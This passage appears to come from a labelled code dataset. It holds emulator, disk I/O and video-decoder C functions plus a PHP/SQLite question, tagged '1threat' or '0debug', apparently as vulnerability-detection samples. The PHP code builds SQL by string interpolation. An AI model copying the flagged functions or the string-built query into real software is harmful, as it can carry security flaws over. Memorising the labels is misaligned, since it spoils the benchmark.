0xf000e800) { ARCH(6T2); } rn = (insn >> 16) & 0xf; rs = (insn >> 12) & 0xf; rd = (insn >> 8) & 0xf; rm = insn & 0xf; switch ((insn >> 25) & 0xf) { case 0: case 1: case 2: case 3: abort(); case 4: if (insn & (1 << 22)) { if (insn & 0x01200000) { if (rn == 15) { addr = tcg_temp_new_i32(); tcg_gen_movi_i32(addr, s->pc & ~3); } else { addr = load_reg(s, rn); } offset = (insn & 0xff) * 4; if ((insn & (1 << 23)) == 0) offset = -offset; if (insn & (1 << 24)) { tcg_gen_addi_i32(addr, addr, offset); offset = 0; } if (insn & (1 << 20)) { tmp = tcg_temp_new_i32(); tcg_gen_qemu_ld32u(tmp, addr, IS_USER(s)); store_reg(s, rs, tmp); tcg_gen_addi_i32(addr, addr, 4); tmp = tcg_temp_new_i32(); tcg_gen_qemu_ld32u(tmp, addr, IS_USER(s)); store_reg(s, rd, tmp); } else { tmp = load_reg(s, rs); tcg_gen_qemu_st32(tmp, addr, IS_USER(s)); tcg_temp_free_i32(tmp); tcg_gen_addi_i32(addr, addr, 4); tmp = load_reg(s, rd); tcg_gen_qemu_st32(tmp, addr, IS_USER(s)); tcg_temp_free_i32(tmp); } if (insn & (1 << 21)) { if (rn == 15) goto illegal_op; tcg_gen_addi_i32(addr, addr, offset - 4); store_reg(s, rn, addr); } else { tcg_temp_free_i32(addr); } } else if ((insn & (1 << 23)) == 0) { addr = tcg_temp_local_new_i32(); load_reg_var(s, addr, rn); tcg_gen_addi_i32(addr, addr, (insn & 0xff) << 2); if (insn & (1 << 20)) { gen_load_exclusive(s, rs, 15, addr, 2); } else { gen_store_exclusive(s, rd, rs, 15, addr, 2); } tcg_temp_free_i32(addr); } else if ((insn & (7 << 5)) == 0) { if (rn == 15) { addr = tcg_temp_new_i32(); tcg_gen_movi_i32(addr, s->pc); } else { addr = load_reg(s, rn); } tmp = load_reg(s, rm); tcg_gen_add_i32(addr, addr, tmp); if (insn & (1 << 4)) { tcg_gen_add_i32(addr, addr, tmp); tcg_temp_free_i32(tmp); tmp = tcg_temp_new_i32(); tcg_gen_qemu_ld16u(tmp, addr, IS_USER(s)); } else { tcg_temp_free_i32(tmp); tmp = tcg_temp_new_i32(); tcg_gen_qemu_ld8u(tmp, addr, IS_USER(s)); } tcg_temp_free_i32(addr); tcg_gen_shli_i32(tmp, tmp, 1); tcg_gen_addi_i32(tmp, tmp, s->pc); store_reg(s, 15, tmp); } else { int op2 = (insn >> 6) & 0x3; op = (insn >> 4) & 0x3; switch (op2) { case 0: goto illegal_op; case 1: if (op == 2) { goto illegal_op; } ARCH(7); break; case 2: if (op == 3) { goto illegal_op; } case 3: ARCH(8); break; } addr = tcg_temp_local_new_i32(); load_reg_var(s, addr, rn); if (!(op2 & 1)) { if (insn & (1 << 20)) { tmp = tcg_temp_new_i32(); switch (op) { case 0: tcg_gen_qemu_ld8u(tmp, addr, IS_USER(s)); break; case 1: tcg_gen_qemu_ld16u(tmp, addr, IS_USER(s)); break; case 2: tcg_gen_qemu_ld32u(tmp, addr, IS_USER(s)); break; default: abort(); } store_reg(s, rs, tmp); } else { tmp = load_reg(s, rs); switch (op) { case 0: tcg_gen_qemu_st8(tmp, addr, IS_USER(s)); break; case 1: tcg_gen_qemu_st16(tmp, addr, IS_USER(s)); break; case 2: tcg_gen_qemu_st32(tmp, addr, IS_USER(s)); break; default: abort(); } tcg_temp_free_i32(tmp); } } else if (insn & (1 << 20)) { gen_load_exclusive(s, rs, rd, addr, op); } else { gen_store_exclusive(s, rm, rs, rd, addr, op); } tcg_temp_free_i32(addr); } } else { if (((insn >> 23) & 1) == ((insn >> 24) & 1)) { if (IS_USER(s) || IS_M(env)) { goto illegal_op; } if (insn & (1 << 20)) { addr = load_reg(s, rn); if ((insn & (1 << 24)) == 0) tcg_gen_addi_i32(addr, addr, -8); tmp = tcg_temp_new_i32(); tcg_gen_qemu_ld32u(tmp, addr, 0); tcg_gen_addi_i32(addr, addr, 4); tmp2 = tcg_temp_new_i32(); tcg_gen_qemu_ld32u(tmp2, addr, 0); if (insn & (1 << 21)) { if (insn & (1 << 24)) { tcg_gen_addi_i32(addr, addr, 4); } else { tcg_gen_addi_i32(addr, addr, -4); } store_reg(s, rn, addr); } else { tcg_temp_free_i32(addr); } gen_rfe(s, tmp, tmp2); } else { gen_srs(s, (insn & 0x1f), (insn & (1 << 24)) ? 1 : 2, insn & (1 << 21)); } } else { int i, loaded_base = 0; TCGv_i32 loaded_var; addr = load_reg(s, rn); offset = 0; for (i = 0; i < 16; i++) { if (insn & (1 << i)) offset += 4; } if (insn & (1 << 24)) { tcg_gen_addi_i32(addr, addr, -offset); } TCGV_UNUSED_I32(loaded_var); for (i = 0; i < 16; i++) { if ((insn & (1 << i)) == 0) continue; if (insn & (1 << 20)) { tmp = tcg_temp_new_i32(); tcg_gen_qemu_ld32u(tmp, addr, IS_USER(s)); if (i == 15) { gen_bx(s, tmp); } else if (i == rn) { loaded_var = tmp; loaded_base = 1; } else { store_reg(s, i, tmp); } } else { tmp = load_reg(s, i); tcg_gen_qemu_st32(tmp, addr, IS_USER(s)); tcg_temp_free_i32(tmp); } tcg_gen_addi_i32(addr, addr, 4); } if (loaded_base) { store_reg(s, rn, loaded_var); } if (insn & (1 << 21)) { if (insn & (1 << 24)) { tcg_gen_addi_i32(addr, addr, -offset); } if (insn & (1 << rn)) goto illegal_op; store_reg(s, rn, addr); } else { tcg_temp_free_i32(addr); } } } break; case 5: op = (insn >> 21) & 0xf; if (op == 6) { tmp = load_reg(s, rn); tmp2 = load_reg(s, rm); shift = ((insn >> 10) & 0x1c) | ((insn >> 6) & 0x3); if (insn & (1 << 5)) { if (shift == 0) shift = 31; tcg_gen_sari_i32(tmp2, tmp2, shift); tcg_gen_andi_i32(tmp, tmp, 0xffff0000); tcg_gen_ext16u_i32(tmp2, tmp2); } else { if (shift) tcg_gen_shli_i32(tmp2, tmp2, shift); tcg_gen_ext16u_i32(tmp, tmp); tcg_gen_andi_i32(tmp2, tmp2, 0xffff0000); } tcg_gen_or_i32(tmp, tmp, tmp2); tcg_temp_free_i32(tmp2); store_reg(s, rd, tmp); } else { if (rn == 15) { tmp = tcg_temp_new_i32(); tcg_gen_movi_i32(tmp, 0); } else { tmp = load_reg(s, rn); } tmp2 = load_reg(s, rm); shiftop = (insn >> 4) & 3; shift = ((insn >> 6) & 3) | ((insn >> 10) & 0x1c); conds = (insn & (1 << 20)) != 0; logic_cc = (conds && thumb2_logic_op(op)); gen_arm_shift_im(tmp2, shiftop, shift, logic_cc); if (gen_thumb2_data_op(s, op, conds, 0, tmp, tmp2)) goto illegal_op; tcg_temp_free_i32(tmp2); if (rd != 15) { store_reg(s, rd, tmp); } else { tcg_temp_free_i32(tmp); } } break; case 13: op = ((insn >> 22) & 6) | ((insn >> 7) & 1); if (op < 4 && (insn & 0xf000) != 0xf000) goto illegal_op; switch (op) { case 0: tmp = load_reg(s, rn); tmp2 = load_reg(s, rm); if ((insn & 0x70) != 0) goto illegal_op; op = (insn >> 21) & 3; logic_cc = (insn & (1 << 20)) != 0; gen_arm_shift_reg(tmp, op, tmp2, logic_cc); if (logic_cc) gen_logic_CC(tmp); store_reg_bx(env, s, rd, tmp); break; case 1: tmp = load_reg(s, rm); shift = (insn >> 4) & 3; if (shift != 0) tcg_gen_rotri_i32(tmp, tmp, shift * 8); op = (insn >> 20) & 7; switch (op) { case 0: gen_sxth(tmp); break; case 1: gen_uxth(tmp); break; case 2: gen_sxtb16(tmp); break; case 3: gen_uxtb16(tmp); break; case 4: gen_sxtb(tmp); break; case 5: gen_uxtb(tmp); break; default: goto illegal_op; } if (rn != 15) { tmp2 = load_reg(s, rn); if ((op >> 1) == 1) { gen_add16(tmp, tmp2); } else { tcg_gen_add_i32(tmp, tmp, tmp2); tcg_temp_free_i32(tmp2); } } store_reg(s, rd, tmp); break; case 2: op = (insn >> 20) & 7; shift = (insn >> 4) & 7; if ((op & 3) == 3 || (shift & 3) == 3) goto illegal_op; tmp = load_reg(s, rn); tmp2 = load_reg(s, rm); gen_thumb2_parallel_addsub(op, shift, tmp, tmp2); tcg_temp_free_i32(tmp2); store_reg(s, rd, tmp); break; case 3: op = ((insn >> 17) & 0x38) | ((insn >> 4) & 7); if (op < 4) { tmp = load_reg(s, rn); tmp2 = load_reg(s, rm); if (op & 1) gen_helper_double_saturate(tmp, cpu_env, tmp); if (op & 2) gen_helper_sub_saturate(tmp, cpu_env, tmp2, tmp); else gen_helper_add_saturate(tmp, cpu_env, tmp, tmp2); tcg_temp_free_i32(tmp2); } else { tmp = load_reg(s, rn); switch (op) { case 0x0a: gen_helper_rbit(tmp, tmp); break; case 0x08: tcg_gen_bswap32_i32(tmp, tmp); break; case 0x09: gen_rev16(tmp); break; case 0x0b: gen_revsh(tmp); break; case 0x10: tmp2 = load_reg(s, rm); tmp3 = tcg_temp_new_i32(); tcg_gen_ld_i32(tmp3, cpu_env, offsetof(CPUARMState, GE)); gen_helper_sel_flags(tmp, tmp3, tmp, tmp2); tcg_temp_free_i32(tmp3); tcg_temp_free_i32(tmp2); break; case 0x18: gen_helper_clz(tmp, tmp); break; default: goto illegal_op; } } store_reg(s, rd, tmp); break; case 4: case 5: op = (insn >> 4) & 0xf; tmp = load_reg(s, rn); tmp2 = load_reg(s, rm); switch ((insn >> 20) & 7) { case 0: tcg_gen_mul_i32(tmp, tmp, tmp2); tcg_temp_free_i32(tmp2); if (rs != 15) { tmp2 = load_reg(s, rs); if (op) tcg_gen_sub_i32(tmp, tmp2, tmp); else tcg_gen_add_i32(tmp, tmp, tmp2); tcg_temp_free_i32(tmp2); } break; case 1: gen_mulxy(tmp, tmp2, op & 2, op & 1); tcg_temp_free_i32(tmp2); if (rs != 15) { tmp2 = load_reg(s, rs); gen_helper_add_setq(tmp, cpu_env, tmp, tmp2); tcg_temp_free_i32(tmp2); } break; case 2: case 4: if (op) gen_swap_half(tmp2); gen_smul_dual(tmp, tmp2); if (insn & (1 << 22)) { tcg_gen_sub_i32(tmp, tmp, tmp2); } else { gen_helper_add_setq(tmp, cpu_env, tmp, tmp2); } tcg_temp_free_i32(tmp2); if (rs != 15) { tmp2 = load_reg(s, rs); gen_helper_add_setq(tmp, cpu_env, tmp, tmp2); tcg_temp_free_i32(tmp2); } break; case 3: if (op) tcg_gen_sari_i32(tmp2, tmp2, 16); else gen_sxth(tmp2); tmp64 = gen_muls_i64_i32(tmp, tmp2); tcg_gen_shri_i64(tmp64, tmp64, 16); tmp = tcg_temp_new_i32(); tcg_gen_trunc_i64_i32(tmp, tmp64); tcg_temp_free_i64(tmp64); if (rs != 15) { tmp2 = load_reg(s, rs); gen_helper_add_setq(tmp, cpu_env, tmp, tmp2); tcg_temp_free_i32(tmp2); } break; case 5: case 6: tmp64 = gen_muls_i64_i32(tmp, tmp2); if (rs != 15) { tmp = load_reg(s, rs); if (insn & (1 << 20)) { tmp64 = gen_addq_msw(tmp64, tmp); } else { tmp64 = gen_subq_msw(tmp64, tmp); } } if (insn & (1 << 4)) { tcg_gen_addi_i64(tmp64, tmp64, 0x80000000u); } tcg_gen_shri_i64(tmp64, tmp64, 32); tmp = tcg_temp_new_i32(); tcg_gen_trunc_i64_i32(tmp, tmp64); tcg_temp_free_i64(tmp64); break; case 7: gen_helper_usad8(tmp, tmp, tmp2); tcg_temp_free_i32(tmp2); if (rs != 15) { tmp2 = load_reg(s, rs); tcg_gen_add_i32(tmp, tmp, tmp2); tcg_temp_free_i32(tmp2); } break; } store_reg(s, rd, tmp); break; case 6: case 7: op = ((insn >> 4) & 0xf) | ((insn >> 16) & 0x70); tmp = load_reg(s, rn); tmp2 = load_reg(s, rm); if ((op & 0x50) == 0x10) { if (!arm_feature(env, ARM_FEATURE_THUMB_DIV)) { goto illegal_op; } if (op & 0x20) gen_helper_udiv(tmp, tmp, tmp2); else gen_helper_sdiv(tmp, tmp, tmp2); tcg_temp_free_i32(tmp2); store_reg(s, rd, tmp); } else if ((op & 0xe) == 0xc) { if (op & 1) gen_swap_half(tmp2); gen_smul_dual(tmp, tmp2); if (op & 0x10) { tcg_gen_sub_i32(tmp, tmp, tmp2); } else { tcg_gen_add_i32(tmp, tmp, tmp2); } tcg_temp_free_i32(tmp2); tmp64 = tcg_temp_new_i64(); tcg_gen_ext_i32_i64(tmp64, tmp); tcg_temp_free_i32(tmp); gen_addq(s, tmp64, rs, rd); gen_storeq_reg(s, rs, rd, tmp64); tcg_temp_free_i64(tmp64); } else { if (op & 0x20) { tmp64 = gen_mulu_i64_i32(tmp, tmp2); } else { if (op & 8) { gen_mulxy(tmp, tmp2, op & 2, op & 1); tcg_temp_free_i32(tmp2); tmp64 = tcg_temp_new_i64(); tcg_gen_ext_i32_i64(tmp64, tmp); tcg_temp_free_i32(tmp); } else { tmp64 = gen_muls_i64_i32(tmp, tmp2); } } if (op & 4) { gen_addq_lo(s, tmp64, rs); gen_addq_lo(s, tmp64, rd); } else if (op & 0x40) { gen_addq(s, tmp64, rs, rd); } gen_storeq_reg(s, rs, rd, tmp64); tcg_temp_free_i64(tmp64); } break; } break; case 6: case 7: case 14: case 15: if (((insn >> 24) & 3) == 3) { insn = (insn & 0xe2ffffff) | ((insn & (1 << 28)) >> 4) | (1 << 28); if (disas_neon_data_insn(env, s, insn)) goto illegal_op; } else { if (insn & (1 << 28)) goto illegal_op; if (disas_coproc_insn (env, s, insn)) goto illegal_op; } break; case 8: case 9: case 10: case 11: if (insn & (1 << 15)) { if (insn & 0x5000) { offset = ((int32_t)insn << 5) >> 9 & ~(int32_t)0xfff; offset |= (insn & 0x7ff) << 1; offset ^= ((~insn) & (1 << 13)) << 10; offset ^= ((~insn) & (1 << 11)) << 11; if (insn & (1 << 14)) { tcg_gen_movi_i32(cpu_R[14], s->pc | 1); } offset += s->pc; if (insn & (1 << 12)) { gen_jmp(s, offset); } else { offset &= ~(uint32_t)2; gen_bx_im(s, offset); } } else if (((insn >> 23) & 7) == 7) { if (insn & (1 << 13)) goto illegal_op; if (insn & (1 << 26)) { goto illegal_op; } else { op = (insn >> 20) & 7; switch (op) { case 0: if (IS_M(env)) { tmp = load_reg(s, rn); addr = tcg_const_i32(insn & 0xff); gen_helper_v7m_msr(cpu_env, addr, tmp); tcg_temp_free_i32(addr); tcg_temp_free_i32(tmp); gen_lookup_tb(s); break; } case 1: if (IS_M(env)) goto illegal_op; tmp = load_reg(s, rn); if (gen_set_psr(s, msr_mask(env, s, (insn >> 8) & 0xf, op == 1), op == 1, tmp)) goto illegal_op; break; case 2: if (((insn >> 8) & 7) == 0) { gen_nop_hint(s, insn & 0xff); } if (IS_USER(s)) break; offset = 0; imm = 0; if (insn & (1 << 10)) { if (insn & (1 << 7)) offset |= CPSR_A; if (insn & (1 << 6)) offset |= CPSR_I; if (insn & (1 << 5)) offset |= CPSR_F; if (insn & (1 << 9)) imm = CPSR_A | CPSR_I | CPSR_F; } if (insn & (1 << 8)) { offset |= 0x1f; imm |= (insn & 0x1f); } if (offset) { gen_set_psr_im(s, offset, 0, imm); } break; case 3: ARCH(7); op = (insn >> 4) & 0xf; switch (op) { case 2: gen_clrex(s); break; case 4: case 5: case 6: break; default: goto illegal_op; } break; case 4: tmp = load_reg(s, rn); gen_bx(s, tmp); break; case 5: if (IS_USER(s)) { goto illegal_op; } if (rn != 14 || rd != 15) { goto illegal_op; } tmp = load_reg(s, rn); tcg_gen_subi_i32(tmp, tmp, insn & 0xff); gen_exception_return(s, tmp); break; case 6: tmp = tcg_temp_new_i32(); if (IS_M(env)) { addr = tcg_const_i32(insn & 0xff); gen_helper_v7m_mrs(tmp, cpu_env, addr); tcg_temp_free_i32(addr); } else { gen_helper_cpsr_read(tmp, cpu_env); } store_reg(s, rd, tmp); break; case 7: if (IS_USER(s) || IS_M(env)) goto illegal_op; tmp = load_cpu_field(spsr); store_reg(s, rd, tmp); break; } } } else { op = (insn >> 22) & 0xf; s->condlabel = gen_new_label(); gen_test_cc(op ^ 1, s->condlabel); s->condjmp = 1; offset = (insn & 0x7ff) << 1; offset |= (insn & 0x003f0000) >> 4; offset |= ((int32_t)((insn << 5) & 0x80000000)) >> 11; offset |= (insn & (1 << 13)) << 5; offset |= (insn & (1 << 11)) << 8; gen_jmp(s, s->pc + offset); } } else { if (insn & (1 << 25)) { if (insn & (1 << 24)) { if (insn & (1 << 20)) goto illegal_op; op = (insn >> 21) & 7; imm = insn & 0x1f; shift = ((insn >> 6) & 3) | ((insn >> 10) & 0x1c); if (rn == 15) { tmp = tcg_temp_new_i32(); tcg_gen_movi_i32(tmp, 0); } else { tmp = load_reg(s, rn); } switch (op) { case 2: imm++; if (shift + imm > 32) goto illegal_op; if (imm < 32) gen_sbfx(tmp, shift, imm); break; case 6: imm++; if (shift + imm > 32) goto illegal_op; if (imm < 32) gen_ubfx(tmp, shift, (1u << imm) - 1); break; case 3: if (imm < shift) goto illegal_op; imm = imm + 1 - shift; if (imm != 32) { tmp2 = load_reg(s, rd); tcg_gen_deposit_i32(tmp, tmp2, tmp, shift, imm); tcg_temp_free_i32(tmp2); } break; case 7: goto illegal_op; default: if (shift) { if (op & 1) tcg_gen_sari_i32(tmp, tmp, shift); else tcg_gen_shli_i32(tmp, tmp, shift); } tmp2 = tcg_const_i32(imm); if (op & 4) { if ((op & 1) && shift == 0) gen_helper_usat16(tmp, cpu_env, tmp, tmp2); else gen_helper_usat(tmp, cpu_env, tmp, tmp2); } else { if ((op & 1) && shift == 0) gen_helper_ssat16(tmp, cpu_env, tmp, tmp2); else gen_helper_ssat(tmp, cpu_env, tmp, tmp2); } tcg_temp_free_i32(tmp2); break; } store_reg(s, rd, tmp); } else { imm = ((insn & 0x04000000) >> 15) | ((insn & 0x7000) >> 4) | (insn & 0xff); if (insn & (1 << 22)) { imm |= (insn >> 4) & 0xf000; if (insn & (1 << 23)) { tmp = load_reg(s, rd); tcg_gen_ext16u_i32(tmp, tmp); tcg_gen_ori_i32(tmp, tmp, imm << 16); } else { tmp = tcg_temp_new_i32(); tcg_gen_movi_i32(tmp, imm); } } else { if (rn == 15) { offset = s->pc & ~(uint32_t)3; if (insn & (1 << 23)) offset -= imm; else offset += imm; tmp = tcg_temp_new_i32(); tcg_gen_movi_i32(tmp, offset); } else { tmp = load_reg(s, rn); if (insn & (1 << 23)) tcg_gen_subi_i32(tmp, tmp, imm); else tcg_gen_addi_i32(tmp, tmp, imm); } } store_reg(s, rd, tmp); } } else { int shifter_out = 0; shift = ((insn & 0x04000000) >> 23) | ((insn & 0x7000) >> 12); imm = (insn & 0xff); switch (shift) { case 0: break; case 1: imm |= imm << 16; break; case 2: imm |= imm << 16; imm <<= 8; break; case 3: imm |= imm << 16; imm |= imm << 8; break; default: shift = (shift << 1) | (imm >> 7); imm |= 0x80; imm = imm << (32 - shift); shifter_out = 1; break; } tmp2 = tcg_temp_new_i32(); tcg_gen_movi_i32(tmp2, imm); rn = (insn >> 16) & 0xf; if (rn == 15) { tmp = tcg_temp_new_i32(); tcg_gen_movi_i32(tmp, 0); } else { tmp = load_reg(s, rn); } op = (insn >> 21) & 0xf; if (gen_thumb2_data_op(s, op, (insn & (1 << 20)) != 0, shifter_out, tmp, tmp2)) goto illegal_op; tcg_temp_free_i32(tmp2); rd = (insn >> 8) & 0xf; if (rd != 15) { store_reg(s, rd, tmp); } else { tcg_temp_free_i32(tmp); } } } break; case 12: { int postinc = 0; int writeback = 0; int user; if ((insn & 0x01100000) == 0x01000000) { if (disas_neon_ls_insn(env, s, insn)) goto illegal_op; break; } op = ((insn >> 21) & 3) | ((insn >> 22) & 4); if (rs == 15) { if (!(insn & (1 << 20))) { goto illegal_op; } if (op != 2) { int op1 = (insn >> 23) & 3; int op2 = (insn >> 6) & 0x3f; if (op & 2) { goto illegal_op; } if (rn == 15) { return 0; } if (op1 & 1) { return 0; } if ((op2 == 0) || ((op2 & 0x3c) == 0x30)) { return 0; } return 1; } } user = IS_USER(s); if (rn == 15) { addr = tcg_temp_new_i32(); imm = s->pc & 0xfffffffc; if (insn & (1 << 23)) imm += insn & 0xfff; else imm -= insn & 0xfff; tcg_gen_movi_i32(addr, imm); } else { addr = load_reg(s, rn); if (insn & (1 << 23)) { imm = insn & 0xfff; tcg_gen_addi_i32(addr, addr, imm); } else { imm = insn & 0xff; switch ((insn >> 8) & 0xf) { case 0x0: shift = (insn >> 4) & 0xf; if (shift > 3) { tcg_temp_free_i32(addr); goto illegal_op; } tmp = load_reg(s, rm); if (shift) tcg_gen_shli_i32(tmp, tmp, shift); tcg_gen_add_i32(addr, addr, tmp); tcg_temp_free_i32(tmp); break; case 0xc: tcg_gen_addi_i32(addr, addr, -imm); break; case 0xe: tcg_gen_addi_i32(addr, addr, imm); user = 1; break; case 0x9: imm = -imm; case 0xb: postinc = 1; writeback = 1; break; case 0xd: imm = -imm; case 0xf: tcg_gen_addi_i32(addr, addr, imm); writeback = 1; break; default: tcg_temp_free_i32(addr); goto illegal_op; } } } if (insn & (1 << 20)) { tmp = tcg_temp_new_i32(); switch (op) { case 0: tcg_gen_qemu_ld8u(tmp, addr, user); break; case 4: tcg_gen_qemu_ld8s(tmp, addr, user); break; case 1: tcg_gen_qemu_ld16u(tmp, addr, user); break; case 5: tcg_gen_qemu_ld16s(tmp, addr, user); break; case 2: tcg_gen_qemu_ld32u(tmp, addr, user); break; default: tcg_temp_free_i32(tmp); tcg_temp_free_i32(addr); goto illegal_op; } if (rs == 15) { gen_bx(s, tmp); } else { store_reg(s, rs, tmp); } } else { tmp = load_reg(s, rs); switch (op) { case 0: tcg_gen_qemu_st8(tmp, addr, user); break; case 1: tcg_gen_qemu_st16(tmp, addr, user); break; case 2: tcg_gen_qemu_st32(tmp, addr, user); break; default: tcg_temp_free_i32(tmp); tcg_temp_free_i32(addr); goto illegal_op; } tcg_temp_free_i32(tmp); } if (postinc) tcg_gen_addi_i32(addr, addr, imm); if (writeback) { store_reg(s, rn, addr); } else { tcg_temp_free_i32(addr); } } break; default: goto illegal_op; } return 0; illegal_op: return 1; }
1threat
static BlockDriverAIOCB *paio_submit(BlockDriverState *bs, HANDLE hfile, int64_t sector_num, QEMUIOVector *qiov, int nb_sectors, BlockDriverCompletionFunc *cb, void *opaque, int type) { RawWin32AIOData *acb = g_slice_new(RawWin32AIOData); acb->bs = bs; acb->hfile = hfile; acb->aio_type = type; if (qiov) { acb->aio_iov = qiov->iov; acb->aio_niov = qiov->niov; } acb->aio_nbytes = nb_sectors * 512; acb->aio_offset = sector_num * 512; trace_paio_submit(acb, opaque, sector_num, nb_sectors, type); return thread_pool_submit_aio(aio_worker, acb, cb, opaque); }
1threat
PHP while loop and if statement : <p>I'm having an issue getting this code to work properly. It is working when a record is found and displays the data but does not execute <code>else</code> and <code>echo</code> when a record in the db is not found. I am guessing is has to do with how I am structuring my code. I have tried this a couple different ways and am having no luck. I am using a sqlite3 database</p> <pre><code>$recID = '55'; $results2 = $db2-&gt;query("SELECT * FROM Movies WHERE TMDBid = '$recID'"); while($row2 = $results2-&gt;fetchArray()){ if(!empty($row2['id'])){ $Runtime = $row2['Runtime']; $Budget = $row2['Budget']; $Revenue = $row2['Revenue']; $Production = $row2['Production']; echo $Runtime.'&lt;br&gt;'; echo $Budget.'&lt;br&gt;'; echo $Revenue.'&lt;br&gt;'; echo $Production.'&lt;br&gt;&lt;br&gt;'; }else{ echo 'No Record Exists'; } } </code></pre> <p>I have tried it this way as well and this way works when no record is found but will not display data when the record exists.</p> <pre><code>$recID = '55'; $results2 = $db2-&gt;query("SELECT * FROM Movies WHERE TMDBid = '$recID'"); if($results2-&gt;fetchArray() !== false){ while($row2 = $results2-&gt;fetchArray()){ $Runtime = $row2['Runtime']; $Budget = $row2['Budget']; $Revenue = $row2['Revenue']; $Production = $row2['Production']; echo $Runtime.'&lt;br&gt;'; echo $Budget.'&lt;br&gt;'; echo $Revenue.'&lt;br&gt;'; echo $Production.'&lt;br&gt;&lt;br&gt;'; } }else{ echo 'No Record Exists'; } </code></pre>
0debug
static av_always_inline void MPV_motion_internal(MpegEncContext *s, uint8_t *dest_y, uint8_t *dest_cb, uint8_t *dest_cr, int dir, uint8_t **ref_picture, op_pixels_func (*pix_op)[4], qpel_mc_func (*qpix_op)[16], int is_mpeg12) { int dxy, mx, my, src_x, src_y, motion_x, motion_y; int mb_x, mb_y, i; uint8_t *ptr, *dest; mb_x = s->mb_x; mb_y = s->mb_y; prefetch_motion(s, ref_picture, dir); if(!is_mpeg12 && s->obmc && s->pict_type != AV_PICTURE_TYPE_B){ LOCAL_ALIGNED_8(int16_t, mv_cache, [4], [4][2]); Picture *cur_frame = &s->current_picture; const int xy= s->mb_x + s->mb_y*s->mb_stride; const int mot_stride= s->b8_stride; const int mot_xy= mb_x*2 + mb_y*2*mot_stride; av_assert2(!s->mb_skipped); AV_COPY32(mv_cache[1][1], cur_frame->motion_val[0][mot_xy ]); AV_COPY32(mv_cache[1][2], cur_frame->motion_val[0][mot_xy + 1]); AV_COPY32(mv_cache[2][1], cur_frame->motion_val[0][mot_xy + mot_stride ]); AV_COPY32(mv_cache[2][2], cur_frame->motion_val[0][mot_xy + mot_stride + 1]); AV_COPY32(mv_cache[3][1], cur_frame->motion_val[0][mot_xy + mot_stride ]); AV_COPY32(mv_cache[3][2], cur_frame->motion_val[0][mot_xy + mot_stride + 1]); if (mb_y == 0 || IS_INTRA(cur_frame->mb_type[xy - s->mb_stride])) { AV_COPY32(mv_cache[0][1], mv_cache[1][1]); AV_COPY32(mv_cache[0][2], mv_cache[1][2]); }else{ AV_COPY32(mv_cache[0][1], cur_frame->motion_val[0][mot_xy - mot_stride ]); AV_COPY32(mv_cache[0][2], cur_frame->motion_val[0][mot_xy - mot_stride + 1]); } if (mb_x == 0 || IS_INTRA(cur_frame->mb_type[xy - 1])) { AV_COPY32(mv_cache[1][0], mv_cache[1][1]); AV_COPY32(mv_cache[2][0], mv_cache[2][1]); }else{ AV_COPY32(mv_cache[1][0], cur_frame->motion_val[0][mot_xy - 1]); AV_COPY32(mv_cache[2][0], cur_frame->motion_val[0][mot_xy - 1 + mot_stride]); } if (mb_x + 1 >= s->mb_width || IS_INTRA(cur_frame->mb_type[xy + 1])) { AV_COPY32(mv_cache[1][3], mv_cache[1][2]); AV_COPY32(mv_cache[2][3], mv_cache[2][2]); }else{ AV_COPY32(mv_cache[1][3], cur_frame->motion_val[0][mot_xy + 2]); AV_COPY32(mv_cache[2][3], cur_frame->motion_val[0][mot_xy + 2 + mot_stride]); } mx = 0; my = 0; for(i=0;i<4;i++) { const int x= (i&1)+1; const int y= (i>>1)+1; int16_t mv[5][2]= { {mv_cache[y][x ][0], mv_cache[y][x ][1]}, {mv_cache[y-1][x][0], mv_cache[y-1][x][1]}, {mv_cache[y][x-1][0], mv_cache[y][x-1][1]}, {mv_cache[y][x+1][0], mv_cache[y][x+1][1]}, {mv_cache[y+1][x][0], mv_cache[y+1][x][1]}}; obmc_motion(s, dest_y + ((i & 1) * 8) + (i >> 1) * 8 * s->linesize, ref_picture[0], mb_x * 16 + (i & 1) * 8, mb_y * 16 + (i >>1) * 8, pix_op[1], mv); mx += mv[0][0]; my += mv[0][1]; } if(!CONFIG_GRAY || !(s->flags&CODEC_FLAG_GRAY)) chroma_4mv_motion(s, dest_cb, dest_cr, ref_picture, pix_op[1], mx, my); return; } switch(s->mv_type) { case MV_TYPE_16X16: if(s->mcsel){ if(s->real_sprite_warping_points==1){ gmc1_motion(s, dest_y, dest_cb, dest_cr, ref_picture); }else{ gmc_motion(s, dest_y, dest_cb, dest_cr, ref_picture); } }else if(!is_mpeg12 && s->quarter_sample){ qpel_motion(s, dest_y, dest_cb, dest_cr, 0, 0, 0, ref_picture, pix_op, qpix_op, s->mv[dir][0][0], s->mv[dir][0][1], 16); } else if (!is_mpeg12 && (CONFIG_WMV2_DECODER || CONFIG_WMV2_ENCODER) && s->mspel && s->codec_id == AV_CODEC_ID_WMV2) { ff_mspel_motion(s, dest_y, dest_cb, dest_cr, ref_picture, pix_op, s->mv[dir][0][0], s->mv[dir][0][1], 16); }else { mpeg_motion(s, dest_y, dest_cb, dest_cr, 0, ref_picture, pix_op, s->mv[dir][0][0], s->mv[dir][0][1], 16, mb_y); } break; case MV_TYPE_8X8: if (!is_mpeg12) { mx = 0; my = 0; if(s->quarter_sample){ for(i=0;i<4;i++) { motion_x = s->mv[dir][i][0]; motion_y = s->mv[dir][i][1]; dxy = ((motion_y & 3) << 2) | (motion_x & 3); src_x = mb_x * 16 + (motion_x >> 2) + (i & 1) * 8; src_y = mb_y * 16 + (motion_y >> 2) + (i >>1) * 8; src_x = av_clip(src_x, -16, s->width); if (src_x == s->width) dxy &= ~3; src_y = av_clip(src_y, -16, s->height); if (src_y == s->height) dxy &= ~12; ptr = ref_picture[0] + (src_y * s->linesize) + (src_x); if(s->flags&CODEC_FLAG_EMU_EDGE){ if( (unsigned)src_x > FFMAX(s->h_edge_pos - (motion_x&3) - 8, 0) || (unsigned)src_y > FFMAX(s->v_edge_pos - (motion_y&3) - 8, 0)){ s->vdsp.emulated_edge_mc(s->edge_emu_buffer, ptr, s->linesize, 9, 9, src_x, src_y, s->h_edge_pos, s->v_edge_pos); ptr= s->edge_emu_buffer; } } dest = dest_y + ((i & 1) * 8) + (i >> 1) * 8 * s->linesize; qpix_op[1][dxy](dest, ptr, s->linesize); mx += s->mv[dir][i][0]/2; my += s->mv[dir][i][1]/2; } }else{ for(i=0;i<4;i++) { hpel_motion(s, dest_y + ((i & 1) * 8) + (i >> 1) * 8 * s->linesize, ref_picture[0], mb_x * 16 + (i & 1) * 8, mb_y * 16 + (i >>1) * 8, pix_op[1], s->mv[dir][i][0], s->mv[dir][i][1]); mx += s->mv[dir][i][0]; my += 